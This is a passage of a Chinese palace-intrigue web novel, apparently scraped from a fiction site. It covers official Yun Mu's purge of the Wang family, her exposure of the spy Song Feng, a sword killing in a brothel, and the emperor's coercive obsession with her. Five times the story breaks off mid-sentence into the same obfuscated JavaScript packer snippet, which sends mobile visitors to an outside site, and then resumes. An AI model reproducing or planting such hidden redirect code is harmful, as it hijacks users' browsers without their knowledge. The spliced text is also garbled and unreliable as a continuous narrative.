云暮把双指搭在王明远的颈侧,感受着他微弱的脉搏,“去银针来,再准备好止血散。” 血已经止住,但还要封住王明远的心脉。她洗净双手,手隔着张布握住了断剑,另一只手指着一个白瓷瓶说道:“剑拔出之时,你就把这瓶药尽数撒在伤口处。” 这瓶金疮药的药材不易得,这么多年,她也只制成了几瓶,没想到竟便宜了王明远。 深吸了一口气,云暮飞快拔下断剑,血也溅了出来,昏迷中的王明远被疼醒,他欲挣扎,却怎么也挣不脱束缚。 药粉接触到伤口,血很快就止住了,王明远喘着气,喉咙发出如风箱抽拉的声音。 云暮擦去额角的汗,“派人看着,一步都不许离开,要是他死了,你们也别想活了。” 她把许志辉拽到外头,面无表情地看着他;“许将军,王家书房的东西呢?” 许志辉心虚得不敢和云暮对视,他干笑了两声:“云大人,这……” 在云暮越发冰冷的眼神里,他闭紧双眼,视死如归地说道:“王家的书房被人点了一把火,东西……东西全都被烧成黑炭了。” “你说什么?许志辉,你把我的话当成耳旁风了是吧?” 云暮的眼神突然变得凌厉,她指着许志辉的鼻子说道:“这是街头,本将军给你留个面子,不对你动手,但你回去最好烧香拜佛,祈求书房还能留下东西。” 云暮翻身下马,匆匆往书房走去,迎面撞到一个灰头土脸的人,“你是谁?” 来人见了他便半跪在地上;“云大人,属下乃禁卫军百夫长吕平安。” 云暮看向他怀中搂着的东西,“你手里拿的什么?” 吕平安把东西举过头顶,“大人,是王大人书房里的东西,属下无能,只拿到了这些。” 云暮的眼中终于起了波澜,她接过翻了翻,是王明远和他手底下人的书信往来,但大多都是卖官鬻爵,这些证据虽然不能一击毙命,但也能治他个大罪。 云暮赞许地看了他一眼,“你倒是比许志辉会做事。” 吕平安垂下头,遮住眼中的情绪。 他随许志辉一同杀进王家时,见对方恋战,他想起沈聿明的交代,趁着身边人的不注意,循着图纸上的方向一路摸进了书房。 才刚找到几封藏在书架顶上的书信,外面就传来两道声音,他忙躲到书桌下,而后书房内就飘起松油的味道,最后,几个火把被人从外扔了进来,大火吞噬了整个书房。 他不敢有动作,等人走后,他终于找到机会从窗边翻了出去,带着人灭火。 许志辉匆匆赶来,又匆匆离去。 火势已灭,他又进了书房,但里面的东西都被烧成了灰,好在他还发现了暗室,只是不知如何打开。 云暮观察着只剩下墙面的书房,把有可能是暗室机关的东西都转了个遍,还是没有任何发现。 她压下急躁,招手叫来一个人:“把这儿的管家提来。” 卢家虽死,陶妍却还活着,两人有利益往来,王明远没道理不留下拿捏她的证据,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632426|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们把主院和王明远的院子都翻了个遍,还是一无所获。 云暮又回到了书房,沉吟了片刻,她抬步往后院走去。 …… 云府,季川正和被捆在床上的王明远大眼瞪小眼。 明明是对着剑撞了上去,谁知竟然没死,眼下云暮和许志辉都不在,王明远生出了别的心思。 他转了转手脚,对屋内唯一的人笑道:“小兄弟,我是王家的家主,你能否把绳子解开,捆得手脚都麻了。” 这段时间跟着云暮布局,季川早就知晓渡春风一事有王家的手笔,那些姑娘受了这么多苦,这人才被捆住多久就叫苦连天。 他嫌恶地扫了王明远一眼,没有说话,拿起还烫嘴的药直接往对方嘴里灌。 王明远被烫得呜呜叫,药汁顺着嘴角溢出,嗓子里是火辣辣的疼,他顾不得形象,如同犬类一般,伸出舌头哈哈喘气,眼看人就要出门了,急忙出声:“小兄弟,只要你解开绳子,你想要什么本大人都应允。” 季川脚步未停,“王大人还是留着力气到御前狡辩吧。” 王 明远再也支撑不住,又倒回了床上,他扯了扯床柱的绳索,尝试把头转进绳中,可惜无济于事。 城外的据点被发现,渡春风估计也暴露了,难不成是陶妍把他供了出来?早知有今日,当初就不该留她一条命,都怪他色欲熏心。 只是他实在想不通,云暮带兵演武,许志辉去王家,发现据点的人到底是谁? 很快,季川去而复返,给人换了药后,拿着医书在一旁看了起来。最后,他实在受不了王明远的念叨,他拿出一包哑药:“你若再敢废话,就别怪我无情。” 王明远巴不得被毒死,说得越发起劲。 士可忍,孰不可忍,季川几步走到床边,在王明远期盼的目光中,一掌把人劈晕了过去。 周围终于清净,季川长长地舒了口气,重新拿起了医书。 一阵脚步声起,安叔在外面叩门:“小川,宋枫大人求见。” 第七十七章 守株待兔 云暮刚从后院出来,就听到黄如海来了。 “云大人,皇上派奴婢来看看有什么能帮得上您的。” 她把双手背在身后,看着面前只剩下断壁残垣的书房,勾唇一笑:“怎敢劳动黄公公大驾,东西已经找到,回去告诉皇上一声,他就算再等不及,如今也只能接着等了。” 抄了这么多次家,那些人的暗室要么在书房,要么在主院,谁会想到王明远这个老狐狸竟把暗室建在他最宠爱的小妾院里? “大人,宋参军想要见你,可要让他进来?” 宋枫?他怎么来了? 云暮停下笔:“让他进来吧。” “大人,听说王明远被送来了云府,方才想来看看,但在门口就被季川拦下了。” 云暮盯着他看了好一会儿,手无意识地卷着纸张的边缘,“你想见王明远?” 见他起了疑心,宋枫找补道:“不是,听说您带人在城外演武,怕您又受了风,这才想着来云府,结果人没见到,就被拦下了。在路上听说您去了王家,谁想又扑了个空,不过您没事就好。” “不过禁卫怎么这么突然就抄了王家?” 云暮咄咄逼人:“你好像很在意王家?你和王家人认识?” 宋枫闻言,整个人都绷紧了,他敢干笑了两声:“怎么可能,王家权势这般大,属下若是认识,当年也不至于无家可归,还差点饿死在街头。” 云暮收回审视的目光,“也是,你还有何事?” 把人糊弄过去后,宋枫暗自松了口气,他犹豫地问道:“大人,属下想求您件事。” “说。” “歇了几日,总觉得不得劲,能否让属下同你一起调查王家一案?” 云暮自下打量着宋枫,视线交汇,没多久,他就移开了目光,“大人,整天窝在布政坊,平日里处理最多的不是吵架就是找家禽,没意思得很,不如让属下去诏狱审讯犯人。” 云暮有些为难:“此时不该金吾卫管,你也莫要往上凑。” 宋枫撒娇道:“大人,就审讯犯人,属下可伪装成狱卒。” 如此锲而不舍,必定有事瞒她,云暮莞尔一笑:“好啊,若是我去诏狱,便差人去叫你。” 诏狱森森,宋枫借着烛火翻看着王家人的名单,可翻来覆去看了好几遍,还是没看到那个熟悉的名字,双指攥着纸张,力气大到快要把它们捏破。 “王家的人都全部抓住了,没有遗漏?” 狱卒收拾着散落在地上的刑具,回道:“王家外围了一圈的人,寻常人根本不能靠近,别说人,就是一片树叶都没能飞出王家。” 他喃喃自语:“怎么会?” “你在看什么?” 云暮的声音在身后响起,宋枫被吓得往旁边蹿了几步,“大人,您来了。” 云暮朝他伸出手:“给我看看。” 上面密密麻麻写着人名,全是王家人被捕的名单,连同丫鬟婆子管家小厮在内,都无一个姓宋,云暮若无其事地把名单递了回去:“审吧。” 宋枫往他身后张望了一下:“王明远不审吗?” 云暮心想,这么在意王明远,说他和王家没有关系,鬼都不信,看来她得派人去查查宋枫的底细了,希望他和王家没有关系。 “先把王夫人和葛艳审了,至于王明远,过几日自有人审他。” …… 夜半,全城寂静,一个黑影悄无声息地翻身进云府,没有惊动任何人。 一路摸索到最右边的后罩房,轻手轻脚地推开门走了进去,门才合上,一把剑就架在了他的脖子上。 “宋枫,果然是你。” 云暮收了手,用火折子点燃了屋内的蜡烛。 宋枫僵硬地转过身,看着里间空无一人的架子床,他哑着声音问道:“大人早知我今夜要来?” “是,不然你以为云府这么好进?” 梁文帝悄无声息地出现在云府两次,云暮不得不提防,于是命小厮日夜值守。 今日宋枫太过奇怪,审问王家人时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632427|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是心不在焉,还不时打听王明远的情况,云暮干脆将计就计。 “说吧,你和王家是什么关系?你们处心积虑在我身边安插人手,又为了什么?” 宋枫自嘲一笑,恨恨道:“我倒宁愿和他们半点关系都没有。” “当年他外任扬州,看上了我小娘,小娘虽家贫,但心高气傲,不会委身给人当妾,于是他把自己伪装成一个失意不得志之人,骗了小娘,发誓回京后会娶她为妻。” “三年后,小娘带着我随他回京才知道他早就妻妾成群,小娘不过一个弱女子,在京城举目无亲,还带着才两岁的我,迫于无奈,只好入了王家,给他做妾。” “京城富贵迷人眼,京城的姑娘亦是,很快,他便把小娘和我抛在脑后,不管我们的死活,还放任其他人作践我们娘俩。” “后来皇上为你发落了自小照顾他的三宝公公,他便想在你身边安插人手,于是,他终于记起我们娘俩。” “当时小娘病了,我自是不愿离开,他便以小娘的性命要挟,若去,他就请府医来给小娘治病,若不去,就把小娘杖杀。” 说到此处,宋枫已经泪流满面。 “我只能答应。不知他们怎么做到的,把我的过去抹得一干二净,就连族谱都除了名。再后来的事,您也就知道了。” “这么多年,属下也只和他们透露过你的几次行踪,除此之外,别无其他。” 宋枫咚的一声跪在地上,哀求道:“大人,要打要杀,属下绝不反抗,只是您能否让我问清楚我小娘在何处。” 云暮突然问道:“百味阁的那桌酒菜,是不是你派人以我的名义送去的?” 宋枫的脸色煞白:“是,但属下可以解释。” 云暮抬手制止了他:“那件事已过,再解释也毫无意义。至于你小娘的事,你心里已经有了答案,不是吗?” 宋枫眼中的光一点一点黯淡,他垂下眼眸,不知在想些什么。 “不,我不信,大人,求你了,让我亲自去问问他。” 第七十八章 内库 年还没过完王家就举家入狱,证据确凿,王明远也只能认罪,一时之间,京城满城风雨。 云暮带着金吾卫顺着证据捣毁了不少王家的产业,其中就包括渡春风。 老鸨柳娘被带走时,再也没有了往日的从容,上百号姑娘站在堂中,面面相觑,眼底是迷茫和不知所措。 云暮下巴微抬,身旁的大理寺少卿何昌一手拿卷,一手执笔,“尔等可来此处登记,之后官府会派人护送你们归家。” 一盏茶的时间过去,除了宋华,无人上前,乌泱泱的人群里,有一人开口:“各位大人,我等皆是贱民,又是卖肉营生,莫说无家,便是有家也不可归。” “我们没有别的本事,离了渡春风如何活下去?” “为何醉春风能易主,而我们渡春风却要被抄?” “我们赶走,岂不是叫我们去死?” 声音越来越大,人群越发躁动,更有甚者还要把官兵推至门外。 云暮抽剑把身旁的书案一分为二,冷笑了一声:“想死?行啊,本将军正愁着如何安置你们,你们就给了本将军一条明路,谁先来?” 云暮一步一步朝她们走去,剑尖划过地面,留下一条白痕。 她们作为渡春风的摇钱树,平日里虽偶被打骂,但柳娘和龟公们下手有分寸,也不会弄出人命。云暮凶名在外,她们丝毫不怀疑他在说笑,闹哄哄的大堂很快又重回寂静。 剑身落在一人的脖颈上,云暮偏头低声问她:“是你说要死吗?” 她汗毛倒竖,绷直了脖颈,垂眼紧紧盯着剑,双手则死死地拽着身边人的手臂才不至于跌坐在地。 “不……大人,不是奴家,奴家这就去登记。” 云暮收了剑,她屁滚尿流地跑向何昌。 又在人群里扫了一圈,她指着旁边那个半老徐娘道:“你,过来。” 渡春风曾经的花魁,云青青。 宋华曾说过云青青,她名为接客之人,实则是柳娘的帮凶,同为受苦人,她却总是仗着柳娘的势欺压别人,若谁比她得眼,便会捏造一些莫须有的罪名,让柳娘惩罚她们。 若渡春风换了老鸨再次经营,那云青青只会成为下一个柳娘,甚至比柳娘的手段还有可怖。 云青青一甩袖子,仰着头气昂昂拨开眼前人,“大人,有何贵干?” 云暮无端想起菜市里买的斗鸡,她轻嗤一声,抬手一挥,云青青鬓边的头发悄然飘到地上,“本官见你方才说得最起劲,口气这般大,还以为天仙下凡,现在一看,不过如此。” 作为昔日的花魁,云青青比柳娘更爱惜她这身皮肉,日日牛奶泡身敷脸,奢侈至极,是以她已近半百,却还如三十妇人。 如今被云暮当众讥讽,她恼羞成怒:“大人,我们无冤无仇,你何故如此羞辱我?” 她话才说完,就被人踹了一脚,整个人都趴在地上,一只脚把她摁在地上,狼狈极了。 “放肆,你同谁称我们呢?在云将军面前也敢自称‘我’,你是活得不耐烦了吗?” 云青青能在柳姨身边混这么久,自然是能屈能伸,她立马服软:“奴家口出狂言,云将军大人不记小人过,就饶了奴家这一回吧。” 她微微抬头,楚楚可怜地眨着无辜的双眼,手撑在胸下,露出大半春光。 往常她使出这种伎俩,那些男人都会把她拥入怀中,心肝宝贝地叫个不停,她不信云暮不上钩。 果不其然,云暮手心往上一抬,背后那只脚就挪开了。 看着缓缓走近的云暮,她轻蔑一笑,就算是天子近臣又如何,还不是得雌伏在她的石榴裙下? 向云暮抬起左手:“云将军,方才那人太粗鲁,劳烦你扶奴家一把。” 云暮一剑刺穿云青青的心口,把人钉在地上,她用脚尖勾起云青青的下巴,任由身下的血沾湿鞋底。 “这样扶你可好?” 说罢,她握着剑柄,把剑往下压了几分。 云青青气息减弱,抓着云暮衣摆的手无力垂下。 云暮抽出剑,一步一个血印,“方才还有谁说要死?本将军一并成全了你们。” “若是没有,那就到何大人那里登记,别误了本将军的事。” 自打接了王家一事,她就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632428|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始忙着拔掉王家的爪牙,把梁文帝的人推到那些位子上。即便如此,还是有空缺 云暮从盒子里拿出一沓银票,粗略看了一眼,足足有三十万两。厚重的银票打在手心,声音闷闷,却甚是悦耳。 她喟叹了一句:“一个京城六品官就值三十万两,这钱当真是好挣,京城还是有钱人多啊。” 受了孝敬,就该把事做到位,不过两日,朝堂上又站满了人。 早朝过后,云暮突然出现在了户部,不过是一句话,便叫裴然失了色。 “你从何处知晓内库?” 内库之事只有三人知晓,除去他和皇上,只有那个死去的王全,就连黄如海都瞒着,云暮如何得知? “皇上告诉你的?” 裴然凝神瞧着云暮的神色,不放过他脸上的任何一个表情。 手捏证据,云暮懒散地坐在太师椅上,手指在扶手 上轻点,谱成一首乐曲,“这有何难,本将军几乎日日跟在皇上身后,有什么能瞒得住我?” “摘星楼是个大工程,每年春夏,江南水灾是常有之事,还要给各地发军饷,国库里的银子根本不够,动了歪心思,账又平不上,真有意思。” “你待如何?” 云暮摆摆手,“这账,我替你平了。” 世家不过四家,她就抄了两家。卢家让她得了上将军之位,王家又让她在禁卫和朝堂安插了人手。 世家之人连汤都没喝上一口,他们不敢对梁文帝下手,只会把矛头对准她,而且,王家之事她算无遗漏,梁文帝半分好都没有讨到,她得卖个乖。 裴然的眼底晦暗不明,沉声道:“你想要什么?” “还没想好,先欠着。” 裴然的脸看不出表情,“你就不怕我翻脸不认账?” 云暮笑笑:“我能查到你们的事,自然也会留下证据,就算你把账平了,内库若被人知晓,你说死的会是谁?” 她点了点银票:“裴尚书,吏部有人已经发现户部借着治理江南水患之事贪墨国库,你的动作可得快些了,否则,这些银子也救不了你的命了。” 第七十九章 全盘托出 这几年国库空虚,而抄家得来的东西又全进了皇上的内库,账本每次做账都颇费心力。裴然昧了不少赈灾的银两,南钱西用,从未没耽误过事,如今怎么被人揪了出来? “云将军如何知晓吏部之事?” 云暮笑睨他:“怎么,裴大人是想杀人灭口?” 裴然干笑:“自然不是。” 赈灾之事由吏部和户部所掌,因钱在户部,他们做事更加便宜,因涉及内库,行事只会愈发隐秘。 王家事发,家产没入内库,云暮突然广收孝敬,在前朝塞了心腹,用钱给他填了空缺,还给梁文帝留了把柄,他掌心轻合,“云大人好谋算。” 云暮虚心道:“不敢不敢。” 开春之时,王家之事终于尘埃落定,涉事者皆于午门前斩首示众。 行刑前,陶妍说想见云暮最后一面。 她思考了片刻,还是决定走一趟。 昏暗的牢房里,陶妍被捆在刑架上,见了云暮,她动了动手,锁链哗哗响,狱卒一棍子敲在她身上,警告道:“老实点。” 云暮摆摆手,“下去吧,本将军同她说两句话。” “云大人,听说渡春风的姑娘都被你安置好了,还给了一笔银子,好叫她们安身立命。” “你叫我来只是想说这些?” 似是被他冷淡的态度刺激到,陶妍的情绪突然激动,“你都能可怜那些下贱之人,为何要对卢家赶尽杀绝!” 明明只差一点,她就能成功了。 “你为什么不能可怜可怜我们?” 云暮疑惑地看着她:“你怕不是忘了,你们弄出的烂摊子都是本将军在收拾。这么多年,你祸害了多少姑娘?城外的乱葬岗被你们丢了多少具尸体,你数得清吗?不千刀万剐已经是便宜你们了,你还有什么脸求得宽恕?怕不是脑子被关坏了。” 她也是脑子不好,才会觉得陶妍会同她交代一些没查到的事。 陶妍望着他的背影,声嘶力竭:“云暮,你别得意,总有一日,会有人替我杀了你给卢家人报仇!” 午时三刻,午门前,人头一颗接着一颗滚落地上,云暮站在人群里,和作为监斩官的沈聿明遥遥相望。 落霞山一别,她忙于查探王家之事,再加上她有意无意地回避,已经快两个月没有同他打过交道,季川和十五在她面前念叨过几回,但每次都被她搪塞了过去。 知他在恼她有事相瞒,但她对沈聿明的那点好感,还没能让她把事情全盘托出。 人心易变,她能相信的只有自己。若是沈聿明得知,日后为了得梁文帝重用,他未尝不会给她下套,把她送到梁文帝的床上。 春风拂过干枯的树枝,嫩绿的新叶在微凉的初春舒展身躯,京城又是一片翠绿。 “师兄,此去山高路远,你多保重。” 季川倚在凉亭的柱子上,随手揪了一根狗尾巴草叼在嘴里,含糊不清地说道:“你也是。” 云暮耐心地听着他的絮絮叨叨,仿佛又回到了从前的在江南的日子。 末了,季川说得口干舌燥,扯下腰间的水壶仰头喝了一口,拍了拍云暮的肩后,翻身上马:“师兄虽不知你同王爷发生了何事,但也希望你们二人能说开,师兄不在,他也能照应一二。” 话音落下,云暮见他朝着身后抱拳:“王爷,告辞。” 这个凉亭,是从官道出京城的必经之地,云暮背对着京城的方向,马蹄声响时,她只当是行者路过,谁想竟然被季川摆了一道。 她还维持着倚在柱上的动作,望着不远处的榆钱树,一串串榆钱挂满了枝头,馋得树下的小孩直淌口水。 大人挥舞着手中的长棍,榆钱还未落地就被小孩接住,几人围在一起,盘膝坐在树下大把大把地往嘴里塞。 沉默在两人身边蔓延,不顾片刻,马蹄声隐去,云暮松了口气,而后又自嘲一笑。 每有别扭,都是沈聿明先低头,时日长了,总会有不满,但她不想低头,这样也好。 她跨过凉亭,替马儿梳了梳鬃毛,而后牵起缰绳,缓步朝城门走去。 “云暮!” 云暮愣在原地,身旁的马儿甩了甩脑袋,她才想起要松手,压下心中突然生出的窃喜和微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632429|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾的唇角,转身之时,又恢复了往日的冷脸。 “王爷。” 沈聿明嗯了一声,几步上前,把手中的榆钱递给她:“榆钱不挑地,在苍山上也有不少,那时我们才到苍山,囊中羞涩,适逢春日,我便同钟叔他们一起去打榆钱,如同那些孩童一般。” “雨后的榆钱尤为清甜,生吃,榆钱饭,榆钱粥,或是用来和两样面,做成窝头,打多了还会拿去涿州城中卖。” 云暮被他的话勾起回忆,她摘下一片,塞进嘴里。 江南的榆钱不多,离药王谷最近的几棵都要走上好几里地,若是去晚了,就只剩下光秃秃的枝丫了。 可惜师父厨艺不好,好好的榆钱总是被他炒糊了,后来她和师兄宁可生吃,也不让师父再下厨。 沈聿明继续道:“云暮,你在父皇跟前最得脸,一开始我确实是对你心存利用,利用你回京,利用你见到父皇,再利用你替我 夺得权势,除掉贵妃。” “还有,为镇北侯府翻案。” 云暮停下脚步,睁大眼睛看向沈聿明,“你说什么?” 先帝病重,镇北侯府通敌叛国,证据确凿,满门抄斩,就连襁褓中的婴儿都没有放过。 当年之事发生时,沈聿明还未出世,他怎会想到给镇北侯翻案,又怎知这是冤案? 脑中稍纵即逝的想法被她捕捉到,“钟叔是镇北侯的人。” “还有那个百夫长吕平安。” 把事情全盘托出后,沈聿明心头一松,大大方方地承认了:“是。” 云暮想着事,手中的榆钱被马儿吃了也没有发现,她问道:“那日也是你指使他带着证据往我面上撞?” 沈聿明摇了摇头:“许志辉居功自傲,又久不杀敌,我担心他坏事,于是便让吕平安见机行事。” “这段时间我想着不如就此断了念想,可每次见了你,心中总有两个小人的打架,我不想放手,你不想说的事,我以后不会再逼你。” 他把手上一直藏在身后的黄色的徘徊花递给云暮:“不知云大人可否给我一个将功补过的机会?” 第八十章 对账 春风卷过京城,厚实的冰面溶于春水,满城枯枝在淅沥的春雨中生出绿芽,才刚回暖的天气又冷了几分。 一车车的黄土被运至城外,春雨打湿的石板路泥泞不堪,而另一边的工匠挥着手里的锄头挖着地基,满身泥点。 云暮站在临时搭建出的高台上,正看着底下的工匠出神,手略抬,监工合上述职的册子无声退下。 “云大人,好雅兴。” “自然比不得裴大人夙兴夜寐,日日在户部挑灯处理公事。” 云暮眼神没有偏移一分,嘴上却不留半分情面:“裴大人今日这般有闲心,看来是账对完了?” 一张嘴就把裴然气得面红耳赤,从前下值时间一到,他拍拍屁股就走人,但这段时间为了内库之事,不仅在户部待到点灯,回了府也不得歇,但再怎么算,这账怎么也平不了。 今儿早朝才下,就听说吏部的陈尚书去找了前几年的账册,此事再不平,他就只有死路一条了。 他羞于开口,云暮也不催促,最后,还是裴然沉不住气:“不知裴某今日可有幸请云大人入府一叙?” 云暮双手抱臂,指尖轻叩臂膀,“裴大人诚心相邀,云某岂有拒绝的道理?” 裴府内,荧光辉辉,云暮谢绝了晚膳:“早点对完早点轻松。” 裴然心下焦急,没有再劝,直接把人往书房领。 桌上的沙漏已经流不出一粒沙子,但两人都没有抬手拨弄。 再一次看走眼后,云暮把账册倒扣在岸上,疲倦地揉着昏花的双眼,她看向窗外的茫茫夜色,“不早了,明日我再来。” 街道上的打更人敲着手中的锣鼓,裴然把账册收起:“云大人稍后,待我把账册收好再送你一程。” 云暮摆了摆手,朝门外走去:“罢了,我认得路。” 两人对了好几日的账,临门一脚时才发现前头又错了一步,一步错,步步错,又得从头算起。 手中的算盘把墙面砸出了个洞,此事是裴然理亏,他敢怒不敢言。那算盘由金丝楠木制成,就连算珠都是青玉所制,他心疼的地把算盘揣在怀里,遗憾地看着碎成一地的青玉,得,又得花上万两银子再制一副。 云暮叫住一辆马车,威逼加利诱,两刻钟的时间,就出现在了大通坊。 她借力上了院中的那棵大树,头无力倚在枝桠上,对着隔壁那间破败的院子出神,正门处半耷拉的匾额上,依稀能辩出云家的字样。 云家遭难后,两旁的房主嫌晦气,把房子低价卖出,师父得知后,将它们买下,当做生辰礼送给了她,每有不如意,她总是会来此处躲清静,上一次来,还是她当上中郎将那天。 这几日四处辗转,满心疲累,夜色四起时,灯火万千,晃疼了她的眼。呆呆地望着熟悉的布局,像是想起什么,但脑中却空白一遍。 干坐了一个多时辰,空荡荡的腹发出抗议,她才翻身下来,脚尖落地时,她扶住粗壮的树干,直至眼神清明。 “大人,可要用晚膳?” 云暮摇头不语,指尖勾着绳索,步履沉重地往后院走去。推开门的一瞬间,察觉到屋内还有一道清浅的呼吸。 她厉声问道:“谁?” 意味不明的轻笑在房中响起,“云卿。” 声线缱绻,百转千回,咬字间多了几分缠绵暧昧。 小厮把院子团团围住“大人,发生了何事?” 云暮捏紧了门框:“无事,你们退下吧,没有我的吩咐不许靠近。” 烛光悠悠晃动,微弱的光线照亮了屋子的各个角落。 梁文帝着一身明黄色的单衣坐在床榻,长发披散在脑后,一手撑脸,一手搭着她的暖玉枕,食指在上面打着圈。 梁文帝做什么穿成这样来她的府邸? 她的胸腔急剧起伏,空荡荡的胃如排山倒海,她转身出门在院中干呕出声。 梁文帝跟了出来,面色铁青,抬手欲抚他后背,“你……” 云暮跌跌撞撞往前两步,借着一旁的小树稳住身形。 泛红的眼眶夺去了梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632430|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文帝的心神,对上眼后,才发现云暮警惕的眼神,再细看,还能窥见恨意,他下意识往旁避让几分:“春寒料峭,外头冷,你先进来。” 云暮看向里屋,又泛起一阵恶心,她捏紧左手,带刺枝桠陷入掌心,血顺枝而下,染红了白花。 “你的手,松开。” 梁文帝不知从何处拿出一张明黄色的帕子,想要走近替她包扎。 云暮往后退了几步,撑着石桌,两人在习习凉风中,两两相望。 院中暗沉,全倚仗檐下的灯笼照亮,却怎么也照不进云暮的心。 梁文帝身居高位几十年,即便手握滔天权势,但依旧孤寒。许崔家后位,是为了得到他们的支持,贵妃、淑妃……她们也都对他有所图谋。 从冷宫一步一步爬出,他最恨工于算计之人,但唯独对云暮百般容忍,即便知晓对方恨他,也要把人强留在身边。 救他于水火,予他高官厚禄,赐他荣耀满身,但不仅走不进他的心,还平白让他生了恨。 云暮看着背光而立梁文帝,屋内暖黄的光给他镀了一层金光, 她想起那晚的大火。 余光瞥见桌上之物,她一掌拍开顶上的黄土,抓着酒壶抵在唇边,无声威胁。 梁文帝呼吸一滞,“把酒给朕丢了,莫喝,那土脏得很,你手还伤着,听话,把它放下。” 云暮垂眸,看着血迹斑驳的掌心,才惊觉手疼,抬脚往旁避开梁文帝,闪身进屋,脚尖勾起门把梁文帝挡在屋外,门闩横过插孔,云暮缓缓跌落在地。 梁文帝的声音隔着一道门清晰地传入她的耳中:“云暮,我不进去,你莫喝那酒。” 我?一个皇帝在她面前自称我?笑话! 她松了手中的力道,低声问道:“是不是只有我死了,你才会放过我?” 屋外,梁文帝侧耳听着,最后他提着衣摆席地而坐,轻轻把头靠在门上,手也搭在上头,描摹着门后人的轮廓。 “云暮,你就算是死,也只能死在朕身边。” 第八十一章 起杀心 门外的脚步声渐远,云暮又枯坐了许久,确认人不会再回后,她终于有了动作。 深夜,酒香弥漫了整个主院,云暮手中的火折子明明灭灭好几回,她掂了掂火折子,将其丢在湿漉漉的地上。 大火突起,火舌把院中的一切吞噬殆尽,巡街的金吾卫提着水桶火急火燎地赶到云府,把紧闭的大门拍得哐哐响,周围几户的门房不耐地揉着眼睛怒斥:“大晚上的,吵嚷什么?” 眼睛瞧见云府浓烟滚滚,满天火光,顿时失色:“着火了,快救火!” 不管来了多少人,安叔都把人拦在门外,因着云暮的关系,金吾卫踌躇不肯离去,但云暮没有露脸。 她孤身一人站在院外,一口一口往嘴里灌着酒,一壶酒见了底,她的脸上也并未长出红疹。心口的郁气并未随着火苗的熄灭而消散。 她作为帝后的救命恩人,却因不愿向梁文帝低头,成了“太监”。 五年,从一个小太监走到上将军的位子,不仅没查到杀害爹娘的凶手,还要给梁文帝卖命替他戒瘾,为他杀世家巩权。 太子背靠崔家,同她不是一条心,三皇子素爱伪装,人前人后不同脸。 如今,多了一个沈聿明,她或许能试着接受他。 昔日她利用梁文帝对她的“情意”做到三品大官,今日是否也能利用沈聿明杀了他? 热血在体内翻涌,杀意再也止不住。 将酒壶丢进散着余热的断壁残垣,云暮抬步走向另一个院子。 密道里,两道黑的身影被前头的灯笼长长地抛在身后,梁文帝心绪不宁。 “朕从前那样待他,是不是错了?” 五年前,为了逼人委身于他,以利相诱把人哄入宫中,但对方死活不肯,他心中一恼,便处了他宫刑,又把人罚去倒夜香。谁敢同他交好,梁文帝便杀谁。 时日久了,他的心思也慢慢歇了,只是云暮可就惨了,因他不喜,人人可欺,还不时有几个变态的太监对云暮动手脚。消息传到耳中,他一笑置之。 后来云暮被他身边的大太监郝申看上,他想着给云暮一个教训,便默许了。 他把人逼得太狠,以至于对方恨上了他,即便这几年他把人捧在手心,也化不了对方心里的恨。 若是弑君无罪,他想,云暮早就一剑把他捅个对穿了。 暗一提着灯笼落后他一步,一言不发。 …… “王爷,前头好像是云大人。” 